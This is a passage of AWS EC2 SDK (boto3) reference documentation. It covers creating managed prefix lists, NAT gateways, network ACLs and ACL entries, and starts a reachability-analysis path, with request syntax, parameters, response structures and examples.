+ + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_managed_prefix_list(kwargs_) + +Creates a managed prefix list. You can specify one or more entries for the prefix list. Each entry consists of a CIDR block and an optional description. + +You must specify the maximum number of entries for the prefix list. The maximum number of entries cannot be changed later. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateManagedPrefixList) + +**Request Syntax** + +response = client.create_managed_prefix_list( + DryRun=True|False, + PrefixListName='string', + Entries=[ + { + 'Cidr': 'string', + 'Description': 'string' + }, + ], + MaxEntries=123, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AddressFamily='string', + ClientToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PrefixListName** (_string_) -- + + **[REQUIRED]** + + A name for the prefix list. + + Constraints: Up to 255 characters in length. The name cannot start with com.amazonaws . + +* **Entries** (_list_) -- + + One or more entries for the prefix list. + + * _(dict) --_ + + An entry for a prefix list. + + * **Cidr** _(string) --_ **[REQUIRED]** + + The CIDR block. + + * **Description** _(string) --_ + + A description for the entry. + + Constraints: Up to 255 characters in length. + +* **MaxEntries** (_integer_) -- + + **[REQUIRED]** + + The maximum number of entries for the prefix list. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the prefix list during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id136)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id138)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AddressFamily** (_string_) -- + + **[REQUIRED]** + + The IP address type. + + Valid Values: IPv4 | IPv6 + +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Up to 255 UTF-8 characters in length. + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixList': { + 'PrefixListId': 'string', + 'AddressFamily': 'string', + 'State': 'create-in-progress'|'create-complete'|'create-failed'|'modify-in-progress'|'modify-complete'|'modify-failed'|'restore-in-progress'|'restore-complete'|'restore-failed'|'delete-in-progress'|'delete-complete'|'delete-failed', + 'StateMessage': 'string', + 'PrefixListArn': 'string', + 'PrefixListName': 'string', + 'MaxEntries': 123, + 'Version': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **PrefixList** _(dict) --_ + + Information about the prefix list. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **AddressFamily** _(string) --_ + + The IP address version. + + * **State** _(string) --_ + + The state of the prefix list. + + * **StateMessage** _(string) --_ + + The state message. + + * **PrefixListArn** _(string) --_ + + The Amazon Resource Name (ARN) for the prefix list. + + * **PrefixListName** _(string) --_ + + The name of the prefix list. + + * **MaxEntries** _(integer) --_ + + The maximum number of entries for the prefix list. + + * **Version** _(integer) --_ + + The version of the prefix list. + + * **Tags** _(list) --_ + + The tags for the prefix list. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the owner of the prefix list. + + +create_nat_gateway(kwargs_) + +Creates a NAT gateway in the specified public subnet. This action creates a network interface in the specified subnet with a private IP address from the IP address range of the subnet. Internet-bound traffic from a private subnet can be routed to the NAT gateway, therefore enabling instances in the private subnet to connect to the internet. For more information, see [NAT Gateways](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNatGateway) + +**Request Syntax** + +response = client.create_nat_gateway( + AllocationId='string', + ClientToken='string', + DryRun=True|False, + SubnetId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **AllocationId** (_string_) -- + + **[REQUIRED]** + + The allocation ID of an Elastic IP address to associate with the NAT gateway. If the Elastic IP address is associated with another resource, you must first disassociate it. + +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraint: Maximum 64 ASCII characters. + + This field is autopopulated if not provided. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SubnetId** (_string_) -- + + **[REQUIRED]** + + The subnet in which to create the NAT gateway. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the NAT gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id141)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id143)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientToken': 'string', + 'NatGateway': { + 'CreateTime': datetime(2015, 1, 1), + 'DeleteTime': datetime(2015, 1, 1), + 'FailureCode': 'string', + 'FailureMessage': 'string', + 'NatGatewayAddresses': [ + { + 'AllocationId': 'string', + 'NetworkInterfaceId': 'string', + 'PrivateIp': 'string', + 'PublicIp': 'string' + }, + ], + 'NatGatewayId': 'string', + 'ProvisionedBandwidth': { + 'ProvisionTime': datetime(2015, 1, 1), + 'Provisioned': 'string', + 'RequestTime': datetime(2015, 1, 1), + 'Requested': 'string', + 'Status': 'string' + }, + 'State': 'pending'|'failed'|'available'|'deleting'|'deleted', + 'SubnetId': 'string', + 'VpcId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier to ensure the idempotency of the request. Only returned if a client token was provided in the request. + + * **NatGateway** _(dict) --_ + + Information about the NAT gateway. + + * **CreateTime** _(datetime) --_ + + The date and time the NAT gateway was created. + + * **DeleteTime** _(datetime) --_ + + The date and time the NAT gateway was deleted, if applicable. + + * **FailureCode** _(string) --_ + + If the NAT gateway could not be created, specifies the error code for the failure. (InsufficientFreeAddressesInSubnet | Gateway.NotAttached | InvalidAllocationID.NotFound | Resource.AlreadyAssociated | InternalError | InvalidSubnetID.NotFound ) + + * **FailureMessage** _(string) --_ + + If the NAT gateway could not be created, specifies the error message for the failure, that corresponds to the error code. + + * For InsufficientFreeAddressesInSubnet: "Subnet has insufficient free addresses to create this NAT gateway" + * For Gateway.NotAttached: "Network vpc-xxxxxxxx has no Internet gateway attached" + * For InvalidAllocationID.NotFound: "Elastic IP address eipalloc-xxxxxxxx could not be associated with this NAT gateway" + * For Resource.AlreadyAssociated: "Elastic IP address eipalloc-xxxxxxxx is already associated" + * For InternalError: "Network interface eni-xxxxxxxx, created and used internally by this NAT gateway is in an invalid state. Please try again." + * For InvalidSubnetID.NotFound: "The specified subnet subnet-xxxxxxxx does not exist or could not be found." + * **NatGatewayAddresses** _(list) --_ + + Information about the IP addresses and network interface associated with the NAT gateway. + + * _(dict) --_ + + Describes the IP addresses and network interface associated with a NAT gateway. + + * **AllocationId** _(string) --_ + + The allocation ID of the Elastic IP address that's associated with the NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface associated with the NAT gateway. + + * **PrivateIp** _(string) --_ + + The private IP address associated with the Elastic IP address. + + * **PublicIp** _(string) --_ + + The Elastic IP address associated with the NAT gateway. + + * **NatGatewayId** _(string) --_ + + The ID of the NAT gateway. + + * **ProvisionedBandwidth** _(dict) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **ProvisionTime** _(datetime) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **Provisioned** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **RequestTime** _(datetime) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **Requested** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **Status** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + * **State** _(string) --_ + + The state of the NAT gateway. + + * pending : The NAT gateway is being created and is not ready to process traffic. + * failed : The NAT gateway could not be created. Check the failureCode and failureMessage fields for the reason. + * available : The NAT gateway is able to process traffic. This status remains until you delete the NAT gateway, and does not indicate the health of the NAT gateway. + * deleting : The NAT gateway is in the process of being terminated and may still be processing traffic. + * deleted : The NAT gateway has been terminated and is no longer processing traffic. + * **SubnetId** _(string) --_ + + The ID of the subnet in which the NAT gateway is located. + + * **VpcId** _(string) --_ + + The ID of the VPC in which the NAT gateway is located. + + * **Tags** _(list) --_ + + The tags for the NAT gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a NAT gateway in subnet subnet-1a2b3c4d and associates an Elastic IP address with the allocation ID eipalloc-37fc1a52 with the NAT gateway. + +response = client.create_nat_gateway( + AllocationId='eipalloc-37fc1a52', + SubnetId='subnet-1a2b3c4d', +) + +print(response) + +Expected Output: + +{ + 'NatGateway': { + 'CreateTime': datetime(2015, 12, 17, 12, 45, 26, 3, 351, 0), + 'NatGatewayAddresses': [ + { + 'AllocationId': 'eipalloc-37fc1a52', + }, + ], + 'NatGatewayId': 'nat-08d48af2a8e83edfd', + 'State': 'pending', + 'SubnetId': 'subnet-1a2b3c4d', + 'VpcId': 'vpc-1122aabb', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +response = client.create_network_acl( + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id146)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id148)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkAcl': { + 'Associations': [ + { + 'NetworkAclAssociationId': 'string', + 'NetworkAclId': 'string', + 'SubnetId': 'string' + }, + ], + 'Entries': [ + { + 'CidrBlock': 'string', + 'Egress': True|False, + 'IcmpTypeCode': { + 'Code': 123, + 'Type': 123 + }, + 'Ipv6CidrBlock': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'allow'|'deny', + 'RuleNumber': 123 + }, + ], + 'IsDefault': True|False, + 'NetworkAclId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string', + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkAcl** _(dict) --_ + + Information about the network ACL. + + * **Associations** _(list) --_ + + Any associations between the network ACL and one or more subnets + + * _(dict) --_ + + Describes an association between a network ACL and a subnet. + + * **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + * **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **Entries** _(list) --_ + + One or more entries (rules) in the network ACL. + + * _(dict) --_ + + Describes an entry in a network ACL. + + * **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + * **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + * **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + * **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + * **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + * **IsDefault** _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + * **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + * **Tags** _(list) --_ + + Any tags assigned to the network ACL. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC for the network ACL. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the network ACL. + + +**Examples** + +This example creates a network ACL for the specified VPC. + +response = client.create_network_acl( + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'NetworkAcl': { + 'Associations': [ + ], + 'Entries': [ + { + 'CidrBlock': '0.0.0.0/0', + 'Egress': True, + 'Protocol': '-1', + 'RuleAction': 'deny', + 'RuleNumber': 32767, + }, + { + 'CidrBlock': '0.0.0.0/0', + 'Egress': False, + 'Protocol': '-1', + 'RuleAction': 'deny', + 'RuleNumber': 32767, + }, + ], + 'IsDefault': False, + 'NetworkAclId': 'acl-5fb85d36', + 'Tags': [ + ], + 'VpcId': 'vpc-a01106c2', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_network_acl_entry(kwargs_) + +Creates an entry (a rule) in a network ACL with the specified rule number. Each network ACL has a set of numbered ingress rules and a separate set of numbered egress rules. When determining whether a packet should be allowed in or out of a subnet associated with the ACL, we process the entries in the ACL according to the rule numbers, in ascending order. Each network ACL has a set of ingress rules and a separate set of egress rules. + +We recommend that you leave room between the rule numbers (for example, 100, 110, 120, ...), and not number them one right after the other (for example, 101, 102, 103, ...). This makes it easier to add a rule between existing ones without having to renumber the rules. + +After you add an entry, you can't modify it; you must either replace it, or create an entry and delete the old one. + +For more information about network ACLs, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAclEntry) + +**Request Syntax** + +response = client.create_network_acl_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + NetworkAclId='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +* **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether this is an egress rule (rule is applied to traffic leaving the subnet). + +* **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + * **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + * **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:db8:1234:1a00::/64 ). +* **NetworkAclId** (_string_) -- + + **[REQUIRED]** + + The ID of the network ACL. + +* **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + +* **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +* **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +* **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number for the entry (for example, 100). ACL entries are processed in ascending order by rule number. + + Constraints: Positive integer from 1 to 32766. The range 32767 to 65535 is reserved for internal use. + + +Returns + +None + +**Examples** + +This example creates an entry for the specified network ACL. The rule allows ingress traffic from anywhere (0.0.0.0/0) on UDP port 53 (DNS) into any associated subnet. + +response = client.create_network_acl_entry( + CidrBlock='0.0.0.0/0', + Egress=False, + NetworkAclId='acl-5fb85d36', + PortRange={ + 'From': 53, + 'To': 53, + }, + Protocol='udp', + RuleAction='allow', + RuleNumber=100, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +create_network_insights_path(kwargs_) + +Creates a path to analyze for reachability. + +Reachability Analyzer enables you to analyze and debug network reachability between two resources in your virtual private cloud (VPC). For more information, see [What is Reachability Analyzer](https://docs.aws.amazon.com/vpc/latest/reachability/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInsightsPath) + +**Request Syntax** + +response = client.create_network_insights_path( + SourceIp='string', + DestinationIp='string', + Source='string', + Destination='string', + Protocol='tcp'|'udp', + DestinationPort=123, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False, + ClientToken='string' +) + +Parameters + +* **SourceIp** (_string_) -- The IP address of the AWS resource that is the source of the path. +* **DestinationIp** (_string_) -- The IP address of the AWS resource that is the destination of the path. +* **Source** (_string_) -- + + **[REQUIRED]** + + The AWS resource that is the source of the path. + +* **Destination** (_string_) -- + + **[REQUIRED]** + + The AWS resource that is the destination of the path. + +* **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol. + +* **DestinationPort** (_integer_) -- The destination port. +* **TagSpecifications** (_list_) -- + + The tags to add to the path. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id152)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id154)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions 